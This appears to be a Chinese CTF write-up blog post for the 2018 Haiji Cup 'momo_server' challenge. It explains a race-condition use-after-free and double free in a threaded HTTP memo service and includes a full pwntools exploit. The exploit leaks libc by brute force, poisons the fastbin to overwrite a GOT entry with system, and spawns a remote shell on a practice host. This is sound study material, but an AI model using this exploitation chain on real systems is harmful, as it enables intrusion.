骇极杯_2018_momo_server(条件竞争UAF)

161 篇文章 9 订阅
161 篇文章 9 订阅

骇极杯_2018_momo_server(条件竞争UAF)

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

Count功能开启了一个线程

该线程会异步进行堆的free操作,其中注意到free(ptr[i]->name)后,没有将name指针清零,并且该循环尾部会休眠1s。

结尾会将ptr指针清零

在add函数中,如果name已存在,那么仅更新count和flag。

因此,我们在ptr[i]被清零之前,通过add更新count和flag,这样,name就会被二次free,也就是存在条件竞争double free漏洞。

 

通过实验,发现在线程里调用free释放主线程里的堆后,只有当线程结束以后,堆chunk才会被放到主线程的arena里,并且不会放到tcache bin,而是直接放到其他bin里。因此,我们可以构造fastbin的double free。

Add功能中,malloc的大小是解码前的数据大小,而复制的大小则是解码后的字符串计算长度。因此,\x00数据进行URL编码,从而可以绕过第一次strlen计算的\0截断问题。

Echo功能可以用来泄露栈上的数据,但是本地栈和远程栈有些不一样,因此,我们猜测远程的数据为libc中的某个地址,然后通过多次枚举爆破,可以得到远程的libc地址。

爆破

#coding:utf8
from pwn import *
import urllib

libc = ELF('./libc-2.27.so')

#context.log_level = 'debug'

def add(content,count):
   payload = 'POST /add Connection: keep-alive\n\n'
   payload += 'memo=' + content + '&count=' + str(count)
   sh.sendline(payload)
   sh.recvuntil('{"status":"ok"}')

def delete():
   payload = 'POST /count Connection: keep-alive\n\n'
   sh.sendline(payload)
   sh.recvuntil('{"status":"ok"}')

def show():
   payload = 'GET /list Connection: keep-alive\n\n'
   sh.sendline(payload)
   sh.recvuntil('Content-Type: text/html')

def echo(content):
   payload = 'POST /echo Connection: keep-alive\n\n'
   payload += 'content=' + content
   sh.send(payload)

def exploit(x):
   echo('a'*0x38)
   sh.recvuntil('a'*0x38)
   offset = (x << 12) + 0x9d0
   libc_base = u64(sh.recvuntil('"}',drop = True).ljust(8,'\x00')) - offset

   if libc_base >> 40 != 0x7F:
      raise Exception('leak error!')
   system_addr = libc_base + libc.sym['system']
   print 'libc_base=',hex(libc_base)
   print 'system_addr=',hex(system_addr)

   add('a'*0x30,1)
   add('b'*0x30,1)
   add('c'*0x30,1)
   add('d'*0x40,3)
   #条件竞争UAF
   delete()
   sleep(2)

   show()
   sh.recvuntil('count</th></tr><tr><td></td><td>0</td></tr><tr><td>')
   name = sh.recvuntil('</td>',drop = True)
   heap_addr = u64(name.ljust(8,'\x00'))
   print 'heap_addr=',hex(heap_addr)
   #条件竞争double free
   add(name,1)
   fake_chunk_got = 0x000000000060306A
   #确保线程结束
   sleep(3)
   #通过URL编码,是的0x000000000060306A变成16进制字符串的形式,从而不会截断
   add(urllib.quote(p32(0x60306A).ljust(0x30, 'a')),0x100)
   add('a'*0x30,0x100)
   add('b'*0x30,0x100)

   payload = 'c'*0x16 + urllib.quote(p64(system_addr))
   payload = payload.ljust(0x30,'c')

   add(payload,0x100)
   sh.send('/bin/sh\x00')

   sh.interactive()

for x in range(0xFF):
   print 'x=',hex(x)
   while True:
      try:
         global sh
         sh = remote('node3.buuoj.cn',25344) #远程最终爆破出x = 0x11
         #sh = process('./2018_momo_server',env = {'LD_PRELOAD':'./libc-2.27.so'})
         exploit(x)
         break
      except Exception as e:
         print 'trying...'
         sh.close()

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值